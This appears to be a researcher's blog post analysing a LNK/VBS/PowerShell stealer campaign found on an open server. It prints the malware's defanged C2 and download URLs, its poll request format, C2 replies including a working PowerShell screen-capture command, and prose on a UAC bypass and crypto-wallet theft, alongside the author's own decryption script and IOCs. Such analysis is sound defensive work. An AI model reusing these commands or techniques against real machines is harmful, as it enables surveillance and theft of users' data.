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Today I took a look at a pretty standard LNK malware sample and ended up stumbling over a

small arsenal of auto-generated samples tied to a stealer campaign.

It started with the sample

c6efac5ee99ea63b5f927bcd342073ff2d3540d572ab7b5d353fe857f8f08d49

It’s a LNK file, so nothing special at first glance. As usual, I ran it through lnk-parse to get a quick

overview. 
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From there, a Visual Basic Script gets downloaded and executed. I’ll get to the VBS in a second,

but one thing I always check first is whether the directories hosting the malware are actually

secured.

In this case, once again, jackpot: 
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We’re looking at a bunch (3.788) of what are clearly auto-generated malware samples.

Naturally, I grabbed a snapshot of the files and started digging through them.

Here’s a quick overview of the archive: Number of Files: 3.788

Number of Unique Files: 2.842

Type No. of Files No. of unique Files

.lnk 947 947

.pdf 947 1

.vbs 947 947

.ps1 947 947

This follows a very typical infection chain:

RAR -> VBS -> PS1

Let’s take a look at one of the VBS scripts:
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So what does the VBS actually do?

This is your classic downloader/launcher for the next stage.

First thing it does is open a legitimate-looking PDF (form_56406.pdf) in Edge.

Pure decoy so the user doesn’t get suspicious.
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The PDF itself is a “scam refund form”, which already gives us a rough idea of the phishing

context behind this.

In parallel, it builds a random temp path and pulls a PowerShell script from:

https://refundonex[.]com/cloud/form_56406.pdf.ps1

If the download succeeds, the PS1 gets saved locally and executed via

powershell.exe -ExecutionPolicy Bypass
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That’s the actual payload.

After that, it hits an API endpoint (…?set=true&key=12345).

Simple tracking signal. Static key though, which is always interesting.

Cleanup is even commented out. Classic.

What does the PowerShell script do?

The script contains a hardcoded AES key and IV, along with a function that handles Base64 +

AES-CBC decryption. All those chunks are just encrypted parts of a larger PowerShell script.

At runtime, it does the following:

Decrypt each chunk individually

Store them in an array

Concatenate everything into one big string
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Execute it via Invoke-Expression

Why build it like this?

Payload isn’t stored in plaintext -> evades basic static detection (badly, but still)

Chunking -> breaks simple pattern matching / string extraction

Everything assembled in memory -> fewer disk artifacts

Important detail:

The key is static and embedded in the script, which means we can just decrypt everything

ourselves.

So that’s exactly what I did. Quick and dirty script:
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import base64
import sys
import re
from Crypto.Cipher import AES

with open(sys.argv[1], "r", encoding="utf-8") as f:
   data = f.read()

key_b64 = re.search(r'KEY = .*?"([^"]+)"', data).group(1)
iv_b64  = re.search(r'IV = .*?"([^"]+)"', data).group(1)

KEY = base64.b64decode(key_b64)
IV  = base64.b64decode(iv_b64)

chunks = re.findall(r'Decrypt-AES\s+"([^"]+)"', data)

def decrypt(chunk):
   raw = base64.b64decode(chunk)
   cipher = AES.new(KEY, AES.MODE_CBC, IV)
   decrypted = cipher.decrypt(raw)

   # rem PKCS7 padding 
   pad_len = decrypted[-1]
   if pad_len > 0 and pad_len <= 16:
       decrypted = decrypted[:-pad_len]

   return decrypted.decode(errors="ignore")

final_script = ""

for i, chunk in enumerate(chunks):
   try:
       part = decrypt(chunk)
       final_script += part
   except Exception as e:
       print(f"{e}")

with open(sys.argv[1].replace(".ps1", ".decoded.ps1"), "w", encoding="utf-8") as f:
   f.write(final_script)

Running that against all files gives us outputs like this:
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It is, basically, just a persistent PowerShell backdoor.

It drops itself into %APPDATA%\WinUpdate, hides its files, creates a VBS launcher for hidden

execution, and hooks itself into user logon via a Scheduled Task. On first run, it cleans up

downloaded files and pulls a fake PDF as a decoy.

The C2 is hardcoded, but with a small twist: the primary endpoint is winup[.]su, while the fallback

domain is generated dynamically from the API key as https://<API_KEY>.xyz.

That same key is also attached to every request, so it doubles as both identification and very

basic authentication.

From there, it just keeps polling the server, fetches commands, executes them via PowerShell,

and sends the output back. Config values such as polling intervals and timeouts can be adjusted

remotely, and if something fails, it rotates through the server list.
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So in the end, this is just a dumb HTTP beacon with RCE and a bit of failover via API-key-based

domains. Nothing particularly fancy.

And again, everything is a bit sloppy here too, including commented-out lines left in the code.

First IOCs

Before going further, we can already extract some solid IOCs:

API keys (used for fallback domains)

URLs

Each of these API keys is an IOC on its own. They’re used in requests and can also act as

fallback domains.
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(Full IOC list at the end of the article.)

One more thing:

The code has pretty obvious AI artifacts. Ran it through an AI code detector just to confirm, and

yeah, looks like parts of this were generated.

Nothing surprising. Attackers use AI too.

C2 interaction

Next step: figure out what the C2 actually serves.

Two options here:

Interact with the C2 directly (we have the requests)

Run the sample in a controlled VM

In Germany, you’re always sitting in a bit of a grey area with direct interaction, so I stick to a

controlled analysis VM. Traffic is limited to what we saw in the script, mainly payload delivery.

The malware loops over requests like this:

https://winup[.]su/api/client/poll/<RANDOM UUID>?key=<KEYOFSCRIPT>&host=<HOST>&user=
<USER>&os=<OS>
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First C2 Answer:

{
 "commands": [
   {
     "id": "...",
     "command": "Add-Type -TypeDefinition 'using System;using 
System.Runtime.InteropServices;public class DPI{[DllImport(\"user32.dll\")]public static 
extern bool SetProcessDPIAware();}' -PassThru|Out-Null;[DPI]::SetProcessDPIAware()|Out-
Null;Add-Type -Assembly System.Windows.Forms,System.Drawing;$s=
[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap 
$s.Width,$s.Height;$g=
[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen($s.X,$s.Y,0,0,$s.Size);$ms=New-Object 
IO.MemoryStream;$b.Save($ms,'Jpeg');[Convert]::ToBase64String($ms.ToArray())"
   }
 ],
 "pollIntervalMin": 5,
 "pollIntervalMax": 10,
 "commandTimeout": 180
}

Second C2 Answer:

{
 "commands": [
   {
     "id": "...",
     "command": "powershell -EncodedCommand 
IwBFAGwAZQB2AGEAdABlACAAdABvACAAQQBkAG0AaQBuAAoAWwBiAHkAdABlAFsAXQBdACQASwBFAFkAIAA9ACAAWw
BDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAGoAegBGAFoAYwAz
ADgAcABjAHUARAAyAC..."
   }
 ],
 "pollIntervalMin": 5,
 "pollIntervalMax": 10,
 "commandTimeout": 180
}

Decoding the full Base64 gives us:
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We’ve seen this structure before, so same approach again. Decrypt it, and we get another

PowerShell script:
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Privilege escalation & persistence

This stage tries to elevate privileges and re-establish persistence.

Checks if it’s already running as admin

If yes -> exits immediately

If not → compiles a small piece of C# inside PowerShell

Uses COM elevation via ICMLuaUtil / CMSTPLUA

Basically a UAC bypass / auto-elevation trick

This is used to launch a hidden PowerShell instance with a second script.

That second script does the real work:

Deletes existing scheduled task WindowsUpdateCheck

Recreates it with RunLevel Highest

Points it to launcher.vbs in %APPDATA%\WinUpdate
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So from now on, the malware runs elevated at logon.

Then it:

Starts launcher.vbs

Waits for a new hidden PowerShell process from AppData

Kills old PowerShell instances from that path

Finally, the temporary elevation script deletes itself.

Third C2 Answer:

{
 "commands": [
   {
     "id": "...",
     "command": "Add-Type -TypeDefinition 'using System;using 
System.Runtime.InteropServices;public class DPI{[DllImport(\"user32.dll\")]public static 
extern bool SetProcessDPIAware();}' -PassThru|Out-Null;[DPI]::SetProcessDPIAware()|Out-
Null;Add-Type -Assembly System.Windows.Forms,System.Drawing;$s=
[Windows.Forms.Screen]::PrimaryScreen.Bounds;$b=New-Object Drawing.Bitmap 
$s.Width,$s.Height;$g=
[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen($s.X,$s.Y,0,0,$s.Size);$ms=New-Object 
IO.MemoryStream;$b.Save($ms,'Jpeg');[Convert]::ToBase64String($ms.ToArray())"
   }
 ],
 "pollIntervalMin": 5,
 "pollIntervalMax": 10,
 "commandTimeout": 180
}

Screenshot module

This one is straightforward: screenshot capture.

What it does:

Loads some .NET stuff

Sets DPI awareness (so screenshots don’t break on scaling / 4K)

Uses System.Windows.Forms + System.Drawing

Then:

Returns it as Base64

Gets primary screen resolution

Creates a bitmap

Copies full screen content

Saves as JPEG in memory
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Fourth C2 Answer

{
 "commands": [
   {
     "id": "...",
     "command": "powershell -EncodedCommand 
IwB3AGEAbABsAGUAdAAgAGMAaABlAGMAawBlAHIACgAjAFIAZQBxAHUAaQByAGUAcwAgAC0AVgBlAHIAcwBpAG8Abg
AgADUALgAxAAoAJABXAEUAPQBAAHsATQBlAHQAYQBNAGEAcwBrAD0AJwBuAGsAYgBpAGgAZgBiAGUAbwBnAGEAZQBh
AG8AZQBoAGwAZQBmAG..."
   }
 ],
 "pollIntervalMin": 5,
 "pollIntervalMax": 10,
 "commandTimeout": 180
}

Decode the next Base64 payload:

Final stage: data collection & exfiltration

This is the actual data theft and packaging stage.

It scans user profiles for:

Browser wallets
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Exodus

Electrum

Found data gets copied into a temp directory, along with an info.json.

Everything is zipped under %APPDATA% using a random name.

Then:

If nothing useful is found -> delete ZIP immediately

If data exists -> check for $_UploadUrl

If upload URL is set:

Upload ZIP via curl.exe as raw binary

If successful -> log “uploaded”

If not -> print local path for manual retrieval

Afterwards, the ZIP gets deleted locally.

If no upload URL is set, it just outputs the file path.

At the very end, it calls rSC, which cleans up the previously created shadow copy / symlink setup.

Basic cleanup.

Files

If you want to analyse the files yourself, you can just mail me and i’ll share the files with you!

So why does any of this matter?

Technically, none of this is groundbreaking.

But that’s not the point.

When you’re doing infrastructure tracking, you need to pay attention to small mistakes like this,

because those mistakes are what let you map entire campaigns.

A single misconfigured Apache directory gave access to thousands of samples tied to the same

operation.

That’s not just sloppy, that’s operational damage.

Threat actors look for weaknesses in our systems all the time.

We should be doing the exact same thing to theirs.
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IOCs

We have thousands of IOCs here, so you’ll need to expand the sections to view them

Domains:

Malicious API Keys

File Hashes
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